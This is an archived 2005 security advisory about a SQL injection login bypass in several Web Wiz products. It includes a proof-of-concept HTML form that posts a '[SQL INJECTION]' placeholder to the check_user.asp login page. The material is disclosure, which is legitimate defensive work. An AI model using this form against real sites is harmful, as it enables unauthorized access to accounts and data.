exploits , vulnerabilities , articles , Web Wiz Multiple Products SQL Injection Vulnerability

Title	Web Wiz Multiple Products SQL Injection Vulnerability
Published	2005-12-30-12:00AM
Updated	2005-12-30-04:27PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovered by DevilBox of KAPDA.
Vulnerable	Web Wiz Site News Access 97 3.0 6 Web Wiz Site News Access 2000 3.0 6 Web Wiz Polls Access 97 3.0 6 Web Wiz Polls Access 2000 3.0 6 Web Wiz Journal Access 97 1.0 Web Wiz Journal Access 2000 1.0 Web Wiz Database Login Access 97 1.71 Web Wiz Database Login Access 2000 1.71
Not Vulnerable
Code	An exploit is not required. The following proof of concept example is available: <html> <h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html> <html> <h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-08 LightNEasy fckeditor Arbitrary File Upload Vulnerability
2009-12-08 HP OpenView Data Protector Application Recovery Manager Stack Buffer Overflow Vulnerability
2009-12-08 RETIRED: Microsoft December 2009 Advance Notification Multiple Vulnerabilities
2009-12-08 Computer Associates Service Desk Cross-Site Scripting Vulnerability
2009-12-08 Microsoft Internet Explorer (CVE-2009-3671) Uninitialized Memory Remote Code Execution Vulnerability
2009-12-08 Microsoft Internet Explorer CSS Race Condition Remote Code Execution Vulnerability
2009-12-08 IBM InfoSphere Information Server Multiple Unspecified Buffer Overflow Vulnerabilities
2009-12-08 Novell iPrint Client Remote Buffer Overflow Vulnerabilities
2009-12-07 FFmpeg TCP/UDP Memory Leak Denial Of ServiceVulnerability
2009-12-04 Achievo Document Types Section Arbitrary File Upload Vulnerability